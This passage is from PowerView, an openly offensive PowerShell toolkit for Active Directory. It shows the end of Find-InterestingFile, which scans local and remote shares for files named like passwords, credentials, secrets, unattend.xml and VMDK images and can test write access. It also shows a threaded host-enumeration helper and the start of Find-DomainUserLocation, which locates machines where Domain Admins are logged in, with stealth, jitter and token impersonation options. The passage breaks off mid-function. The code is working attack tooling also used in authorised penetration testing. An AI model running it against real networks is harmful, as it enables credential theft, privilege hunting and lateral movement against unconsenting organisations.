office documents (*.doc*, *.xls*, *.ppt*) 16259 16260 .PARAMETER FreshEXEs 16261 16262 Switch. Find .EXEs accessed within the last 7 days. 16263 16264 .PARAMETER ExcludeFolders 16265 16266 Switch. Exclude folders from the search results. 16267 16268 .PARAMETER ExcludeHidden 16269 16270 Switch. Exclude hidden files and folders from the search results. 16271 16272 .PARAMETER CheckWriteAccess 16273 16274 Switch. Only returns files the current user has write access to. 16275 16276 .PARAMETER Credential 16277 16278 A [Management.Automation.PSCredential] object of alternate credentials 16279 to connect to remote systems for file enumeration. 16280 16281 .EXAMPLE 16282 16283 Find-InterestingFile -Path "C:\Backup\" 16284 16285 Returns any files on the local path C:\Backup\ that have the default 16286 search term set in the title. 16287 16288 .EXAMPLE 16289 16290 Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) 16291 16292 Returns any files on the remote path \\WINDOWS7\Users\ that have the default 16293 search term set in the title and were accessed within the last week. 16294 16295 .EXAMPLE 16296 16297 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 16298 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 16299 Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" 16300 16301 .OUTPUTS 16302 16303 PowerView.FoundFile 16304 #> 16305 16306 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 16307 [OutputType('PowerView.FoundFile')] 16308 [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] 16309 Param( 16310 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 16311 [ValidateNotNullOrEmpty()] 16312 [String[]] 16313 $Path = '.\', 16314 16315 [Parameter(ParameterSetName = 'FileSpecification')] 16316 [ValidateNotNullOrEmpty()] 16317 [Alias('SearchTerms', 'Terms')] 16318 [String[]] 16319 $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), 16320 16321 [Parameter(ParameterSetName = 'FileSpecification')] 16322 [ValidateNotNullOrEmpty()] 16323 [DateTime] 16324 $LastAccessTime, 16325 16326 [Parameter(ParameterSetName = 'FileSpecification')] 16327 [ValidateNotNullOrEmpty()] 16328 [DateTime] 16329 $LastWriteTime, 16330 16331 [Parameter(ParameterSetName = 'FileSpecification')] 16332 [ValidateNotNullOrEmpty()] 16333 [DateTime] 16334 $CreationTime, 16335 16336 [Parameter(ParameterSetName = 'OfficeDocs')] 16337 [Switch] 16338 $OfficeDocs, 16339 16340 [Parameter(ParameterSetName = 'FreshEXEs')] 16341 [Switch] 16342 $FreshEXEs, 16343 16344 [Parameter(ParameterSetName = 'FileSpecification')] 16345 [Switch] 16346 $ExcludeFolders, 16347 16348 [Parameter(ParameterSetName = 'FileSpecification')] 16349 [Switch] 16350 $ExcludeHidden, 16351 16352 [Switch] 16353 $CheckWriteAccess, 16354 16355 [Management.Automation.PSCredential] 16356 [Management.Automation.CredentialAttribute()] 16357 $Credential = [Management.Automation.PSCredential]::Empty 16358 ) 16359 16360 BEGIN { 16361 $SearcherArguments = @{ 16362 'Recurse' = $True 16363 'ErrorAction' = 'SilentlyContinue' 16364 'Include' = $Include 16365 } 16366 if ($PSBoundParameters['OfficeDocs']) { 16367 $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') 16368 } 16369 elseif ($PSBoundParameters['FreshEXEs']) { 16370 # find .exe's accessed within the last 7 days 16371 $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') 16372 $SearcherArguments['Include'] = @('*.exe') 16373 } 16374 $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] 16375 16376 $MappedComputers = @{} 16377 16378 function Test-Write { 16379 # short helper to check is the current user can write to a file 16380 [CmdletBinding()]Param([String]$Path) 16381 try { 16382 $Filetest = [IO.File]::OpenWrite($Path) 16383 $Filetest.Close() 16384 $True 16385 } 16386 catch { 16387 $False 16388 } 16389 } 16390 } 16391 16392 PROCESS { 16393 ForEach ($TargetPath in $Path) { 16394 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { 16395 $HostComputer = (New-Object System.Uri($TargetPath)).Host 16396 if (-not $MappedComputers[$HostComputer]) { 16397 # map IPC$ to this computer if it's not already 16398 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential 16399 $MappedComputers[$HostComputer] = $True 16400 } 16401 } 16402 16403 $SearcherArguments['Path'] = $TargetPath 16404 Get-ChildItem @SearcherArguments | ForEach-Object { 16405 # check if we're excluding folders 16406 $Continue = $True 16407 if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { 16408 Write-Verbose "Excluding: $($_.FullName)" 16409 $Continue = $False 16410 } 16411 if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { 16412 $Continue = $False 16413 } 16414 if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { 16415 $Continue = $False 16416 } 16417 if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { 16418 $Continue = $False 16419 } 16420 if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { 16421 $Continue = $False 16422 } 16423 if ($Continue) { 16424 $FileParams = @{ 16425 'Path' = $_.FullName 16426 'Owner' = $((Get-Acl $_.FullName).Owner) 16427 'LastAccessTime' = $_.LastAccessTime 16428 'LastWriteTime' = $_.LastWriteTime 16429 'CreationTime' = $_.CreationTime 16430 'Length' = $_.Length 16431 } 16432 $FoundFile = New-Object -TypeName PSObject -Property $FileParams 16433 $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') 16434 $FoundFile 16435 } 16436 } 16437 } 16438 } 16439 16440 END { 16441 # remove the IPC$ mappings 16442 $MappedComputers.Keys | Remove-RemoteConnection 16443 } 16444 } 16445 16446 16447 ######################################################## 16448 # 16449 # 'Meta'-functions start below 16450 # 16451 ######################################################## 16452 16453 function New-ThreadedFunction { 16454 # Helper used by any threaded host enumeration functions 16455 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 16456 [CmdletBinding()] 16457 Param( 16458 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 16459 [String[]] 16460 $ComputerName, 16461 16462 [Parameter(Position = 1, Mandatory = $True)] 16463 [System.Management.Automation.ScriptBlock] 16464 $ScriptBlock, 16465 16466 [Parameter(Position = 2)] 16467 [Hashtable] 16468 $ScriptParameters, 16469 16470 [Int] 16471 [ValidateRange(1, 100)] 16472 $Threads = 20, 16473 16474 [Switch] 16475 $NoImports 16476 ) 16477 16478 BEGIN { 16479 # Adapted from: 16480 # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ 16481 $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 16482 16483 # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() 16484 # force a single-threaded apartment state (for token-impersonation stuffz) 16485 $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA 16486 16487 # import the current session state's variables and functions so the chained PowerView 16488 # functionality can be used by the threaded blocks 16489 if (-not $NoImports) { 16490 # grab all the current variables for this runspace 16491 $MyVars = Get-Variable -Scope 2 16492 16493 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice 16494 $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') 16495 16496 # add Variables from Parent Scope (current runspace) into the InitialSessionState 16497 ForEach ($Var in $MyVars) { 16498 if ($VorbiddenVars -NotContains $Var.Name) { 16499 $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) 16500 } 16501 } 16502 16503 # add Functions from current runspace to the InitialSessionState 16504 ForEach ($Function in (Get-ChildItem Function:)) { 16505 $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) 16506 } 16507 } 16508 16509 # threading adapted from 16510 # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 16511 # Thanks Carlos! 16512 16513 # create a pool of maxThread runspaces 16514 $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) 16515 $Pool.Open() 16516 16517 # do some trickery to get the proper BeginInvoke() method that allows for an output queue 16518 $Method = $Null 16519 ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { 16520 $MethodParameters = $M.GetParameters() 16521 if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { 16522 $Method = $M.MakeGenericMethod([Object], [Object]) 16523 break 16524 } 16525 } 16526 16527 $Jobs = @() 16528 $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} 16529 Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" 16530 16531 # partition all hosts from -ComputerName into $Threads number of groups 16532 if ($Threads -ge $ComputerName.Length) { 16533 $Threads = $ComputerName.Length 16534 } 16535 $ElementSplitSize = [Int]($ComputerName.Length/$Threads) 16536 $ComputerNamePartitioned = @() 16537 $Start = 0 16538 $End = $ElementSplitSize 16539 16540 for($i = 1; $i -le $Threads; $i++) { 16541 $List = New-Object System.Collections.ArrayList 16542 if ($i -eq $Threads) { 16543 $End = $ComputerName.Length 16544 } 16545 $List.AddRange($ComputerName[$Start..($End-1)]) 16546 $Start += $ElementSplitSize 16547 $End += $ElementSplitSize 16548 $ComputerNamePartitioned += @(,@($List.ToArray())) 16549 } 16550 16551 Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" 16552 16553 ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { 16554 # create a "powershell pipeline runner" 16555 $PowerShell = [PowerShell]::Create() 16556 $PowerShell.runspacepool = $Pool 16557 16558 # add the script block + arguments with the given computer partition 16559 $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) 16560 if ($ScriptParameters) { 16561 ForEach ($Param in $ScriptParameters.GetEnumerator()) { 16562 $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) 16563 } 16564 } 16565 16566 # create the output queue 16567 $Output = New-Object Management.Automation.PSDataCollection[Object] 16568 16569 # kick off execution using the BeginInvok() method that allows queues 16570 $Jobs += @{ 16571 PS = $PowerShell 16572 Output = $Output 16573 Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) 16574 } 16575 } 16576 } 16577 16578 END { 16579 Write-Verbose "[New-ThreadedFunction] Threads executing" 16580 16581 # continuously loop through each job queue, consuming output as appropriate 16582 Do { 16583 ForEach ($Job in $Jobs) { 16584 $Job.Output.ReadAll() 16585 } 16586 Start-Sleep -Seconds 1 16587 } 16588 While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) 16589 16590 $SleepSeconds = 100 16591 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." 16592 16593 # cleanup- make sure we didn't miss anything 16594 for ($i=0; $i -lt $SleepSeconds; $i++) { 16595 ForEach ($Job in $Jobs) { 16596 $Job.Output.ReadAll() 16597 $Job.PS.Dispose() 16598 } 16599 Start-Sleep -S 1 16600 } 16601 16602 $Pool.Dispose() 16603 Write-Verbose "[New-ThreadedFunction] all threads completed" 16604 } 16605 } 16606 16607 16608 function Find-DomainUserLocation { 16609 <# 16610 .SYNOPSIS 16611 16612 Finds domain machines where specific users are logged into. 16613 16614 Author: Will Schroeder (@harmj0y) 16615 License: BSD 3-Clause 16616 Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction 16617 16618 .DESCRIPTION 16619 16620 This function enumerates all machines on the current (or specified) domain 16621 using Get-DomainComputer, and queries the domain for users of a specified group 16622 (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the 16623 function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon 16624 The found user list is compared against the target list, and any matches are 16625 displayed. If -ShowAll is specified, all results are displayed instead of 16626 the filtered set. If -Stealth is specified, then likely highly-trafficed servers 16627 are enumerated with Get-DomainFileServer/Get-DomainController, and session 16628 enumeration is executed only against those servers. If -Credential is passed, 16629 then Invoke-UserImpersonation is used to impersonate the specified user 16630 before enumeration, reverting after with Invoke-RevertToSelf. 16631 16632 .PARAMETER ComputerName 16633 16634 Specifies an array of one or more hosts to enumerate, passable on the pipeline. 16635 If -ComputerName is not passed, the default behavior is to enumerate all machines 16636 in the domain returned by Get-DomainComputer. 16637 16638 .PARAMETER Domain 16639 16640 Specifies the domain to query for computers AND users, defaults to the current domain. 16641 16642 .PARAMETER ComputerDomain 16643 16644 Specifies the domain to query for computers, defaults to the current domain. 16645 16646 .PARAMETER ComputerLDAPFilter 16647 16648 Specifies an LDAP query string that is used to search for computer objects. 16649 16650 .PARAMETER ComputerSearchBase 16651 16652 Specifies the LDAP source to search through for computers, 16653 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 16654 16655 .PARAMETER ComputerUnconstrained 16656 16657 Switch. Search computer objects that have unconstrained delegation. 16658 16659 .PARAMETER ComputerOperatingSystem 16660 16661 Search computers with a specific operating system, wildcards accepted. 16662 16663 .PARAMETER ComputerServicePack 16664 16665 Search computers with a specific service pack, wildcards accepted. 16666 16667 .PARAMETER ComputerSiteName 16668 16669 Search computers in the specific AD Site name, wildcards accepted. 16670 16671 .PARAMETER UserIdentity 16672 16673 Specifies one or more user identities to search for. 16674 16675 .PARAMETER UserDomain 16676 16677 Specifies the domain to query for users to search for, defaults to the current domain. 16678 16679 .PARAMETER UserLDAPFilter 16680 16681 Specifies an LDAP query string that is used to search for target users. 16682 16683 .PARAMETER UserSearchBase 16684 16685 Specifies the LDAP source to search through for target users. 16686 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 16687 16688 .PARAMETER UserGroupIdentity 16689 16690 Specifies a group identity to query for target users, defaults to 'Domain Admins. 16691 If any other user specifications are set, then UserGroupIdentity is ignored. 16692 16693 .PARAMETER UserAdminCount 16694 16695 Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). 16696 16697 .PARAMETER UserAllowDelegation 16698 16699 Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. 16700 16701 .PARAMETER CheckAccess 16702 16703 Switch. Check if the current user has local admin access to computers where target users are found. 16704 16705 .PARAMETER Server 16706 16707 Specifies an Active Directory server (domain controller) to bind to. 16708 16709 .PARAMETER SearchScope 16710 16711 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 16712 16713 .PARAMETER ResultPageSize 16714 16715 Specifies the PageSize to set for the LDAP searcher object. 16716 16717 .PARAMETER ServerTimeLimit 16718 16719 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 16720 16721 .PARAMETER Tombstone 16722 16723 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 16724 16725 .PARAMETER Credential 16726 16727 A [Management.Automation.PSCredential] object of alternate credentials 16728 for connection to the target domain and target systems. 16729 16730 .PARAMETER StopOnSuccess 16731 16732 Switch. Stop hunting after finding after finding a target user. 16733 16734 .PARAMETER Delay 16735 16736 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 16737 16738 .PARAMETER Jitter 16739 16740 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 16741 16742 .PARAMETER ShowAll 16743 16744 Switch. Return all user location results instead of filtering based on target 16745 specifications. 16746 16747 .PARAMETER Stealth 16748 16749 Switch. Only enumerate sessions from connonly used target servers. 16750 16751 .PARAMETER StealthSource 16752 16753 The source of target servers to use, 'DFS' (distributed file servers), 16754 'DC' (domain controllers), 'File' (file servers), or 'All' (the default). 16755 16756 .PARAMETER Threads 16757 16758 The number of threads to use for user searching, defaults to 20. 16759 16760 .EXAMPLE 16761 16762 Find-DomainUserLocation 16763 16764 Searches for 'Domain Admins' by enumerating every computer in the domain. 16765 16766 .EXAMPLE 16767 16768 Find-DomainUserLocation -Stealth -ShowAll 16769 16770 Enumerates likely highly-trafficked servers, performs just session enumeration 16771 against each, and outputs all results. 16772 16773 .EXAMPLE 16774 16775 Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local 16776 16777 Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged 16778 users in dev.testlab.local. 16779 16780 .EXAMPLE 16781 16782 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 16783 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 16784 Find-DomainUserLocation -Domain testlab.local -Credential $Cred 16785 16786 Searches for domain admin locations in the testlab.local using the specified alternate credentials. 16787 16788 .OUTPUTS 16789 16790 PowerView.UserLocation 16791 #> 16792 16793 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 16794 [OutputType('PowerView.UserLocation')] 16795 [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] 16796 Param( 16797 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 16798 [Alias('DNSHostName')] 16799 [String[]] 16800 $ComputerName, 16801 16802 [ValidateNotNullOrEmpty()] 16803 [String] 16804 $Domain, 16805 16806 [ValidateNotNullOrEmpty()] 16807 [String] 16808 $ComputerDomain, 16809 16810 [ValidateNotNullOrEmpty()] 16811 [String] 16812 $ComputerLDAPFilter, 16813 16814 [ValidateNotNullOrEmpty()] 16815 [String] 16816 $ComputerSearchBase, 16817 16818 [Alias('Unconstrained')] 16819 [Switch] 16820 $ComputerUnconstrained, 16821 16822 [ValidateNotNullOrEmpty()] 16823 [Alias('OperatingSystem')] 16824 [String] 16825 $ComputerOperatingSystem, 16826 16827 [ValidateNotNullOrEmpty()] 16828 [Alias('ServicePack')] 16829 [String] 16830 $ComputerServicePack, 16831 16832 [ValidateNotNullOrEmpty()] 16833 [Alias('SiteName')] 16834 [String] 16835 $ComputerSiteName, 16836 16837 [Parameter(ParameterSetName = 'UserIdentity')] 16838 [ValidateNotNullOrEmpty()] 16839 [String[]] 16840 $UserIdentity, 16841 16842 [ValidateNotNullOrEmpty()] 16843 [String] 16844 $UserDomain, 16845 16846 [ValidateNotNullOrEmpty()] 16847 [String] 16848 $UserLDAPFilter, 16849 16850 [ValidateNotNullOrEmpty()] 16851 [String] 16852 $UserSearchBase, 16853 16854 [Parameter(ParameterSetName = 'UserGroupIdentity')] 16855 [ValidateNotNullOrEmpty()] 16856 [Alias('GroupName', 'Group')] 16857 [String[]] 16858 $UserGroupIdentity = 'Domain Admins', 16859 16860 [Alias('AdminCount')] 16861 [Switch] 16862 $UserAdminCount, 16863 16864 [Alias('AllowDelegation')] 16865 [Switch] 16866 $UserAllowDelegation, 16867 16868 [Switch] 16869 $CheckAccess, 16870 16871 [ValidateNotNullOrEmpty()] 16872 [Alias('DomainController')] 16873 [String] 16874 $Server, 16875 16876 [ValidateSet('Base', 'OneLevel', 'Subtree')] 16877 [String] 16878 $SearchScope = 'Subtree', 16879 16880 [ValidateRange(1, 10000)] 16881 [Int] 16882 $ResultPageSize = 200, 16883 16884 [ValidateRange(1, 10000)] 16885 [Int] 16886 $ServerTimeLimit, 16887 16888 [Switch] 16889 $Tombstone, 16890 16891 [Management.Automation.PSCredential] 16892 [Management.Automation.CredentialAttribute()] 16893 $Credential = [Management.Automation.PSCredential]::Empty, 16894 16895 [Switch] 16896 $StopOnSuccess, 16897 16898 [ValidateRange(1, 10000)] 16899 [Int] 16900 $Delay = 0, 16901 16902 [ValidateRange(0.0, 1.0)] 16903 [Double] 16904 $Jitter = .3, 16905 16906 [Parameter(ParameterSetName = 'ShowAll')] 16907 [Switch] 16908 $ShowAll, 16909 16910 [Switch] 16911 $Stealth, 16912 16913 [String] 16914 [ValidateSet('DFS', 'DC', 'File', 'All')] 16915 $StealthSource = 'All', 16916 16917 [Int] 16918 [ValidateRange(1, 100)] 16919 $Threads = 20 16920 ) 16921 16922 BEGIN { 16923 16924 $ComputerSearcherArguments = @{ 16925 'Properties' = 'dnshostname' 16926 } 16927 if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } 16928 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } 16929 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } 16930 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } 16931 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } 16932 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } 16933 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } 16934 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } 16935 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } 16936 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } 16937 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } 16938 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 16939 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } 16940 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } 16941 16942 $UserSearcherArguments = @{ 16943 'Properties' = 'samaccountname' 16944 } 16945 if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } 16946 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } 16947 if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } 16948 if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } 16949 if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } 16950 if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } 16951 if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } 16952 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } 16953 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } 16954 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } 16955 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 16956 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } 16957 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } 16958 16959 $TargetComputers = @() 16960 16961 # first, build the set of computers to enumerate 16962 if ($PSBoundParameters['ComputerName']) { 16963 $TargetComputers = @($ComputerName) 16964 } 16965 else { 16966 if ($PSBoundParameters['Stealth']) { 16967 Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" 16968 $TargetComputerArrayList = New-Object System.Collections.ArrayList 16969 16970 if ($StealthSource -match 'File|All') { 16971 Write-Verbose '[Find-DomainUserLocation] Querying for file servers' 16972 $FileServerSearcherArguments = @{} 16973 if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } 16974 if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } 16975 if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } 16976 if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } 16977 if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } 16978 if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } 16979 if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 16980 if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } 16981 if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } 16982 $FileServers = Get-DomainFileServer @FileServerSearcherArguments 16983 if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } 16984 $TargetComputerArrayList.AddRange( $FileServers ) 16985 } 16986 if ($StealthSource -match 'DFS|All') { 16987 Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' 16988 # # TODO: fix the passed parameters to Get-DomainDFSShare 16989 # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} 16990 } 16991 if ($StealthSource -match 'DC|All') { 16992 Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' 16993 $DCSearcherArguments = @{ 16994 'LDAP' = $True 16995 } 16996 if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } 16997 if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } 16998 if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } 16999 if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } 17000 $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname 17001 if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } 17002 $TargetComputerArrayList.AddRange( $DomainControllers ) 17003 } 17004 $TargetComputers = $TargetComputerArrayList.ToArray() 17005 } 17006 else { 17007 Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' 17008 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname 17009 } 17010 } 17011 Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" 17012 if ($TargetComputers.Length -eq 0) { 17013 throw '[Find-DomainUserLocation] No hosts found to enumerate' 17014 } 17015 17016 # get the current user so we can ignore it in the results 17017 if ($PSBoundParameters['Credential']) { 17018 $CurrentUser = $Credential.GetNetworkCredential().UserName 17019 } 17020 else { 17021 $CurrentUser = ([Environment]::UserName).ToLower() 17022 } 17023 17024 # now build the user target set 17025 if ($PSBoundParameters['ShowAll']) { 17026 $TargetUsers = @() 17027 } 17028 elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { 17029 $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname 17030 } 17031 else { 17032 $GroupSearcherArguments = @{ 17033 'Identity' = $UserGroupIdentity 17034 'Recurse' = $True 17035 } 17036 if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } 17037 if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } 17038 if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } 17039 if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } 17040 if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } 17041 if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 17042 if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } 17043 if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } 17044 $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName 17045 } 17046 17047 Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" 17048 if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { 17049 throw '[Find-DomainUserLocation] No users found to target' 17050 } 17051 17052 # the host enumeration block we're using to enumerate all servers 17053 $HostEnumBlock = { 17054 Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) 17055 17056 if ($TokenHandle) { 17057 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation 17058 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet 17059 } 17060 17061 ForEach ($TargetComputer in $ComputerName) { 17062 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 17063 if ($Up) { 17064 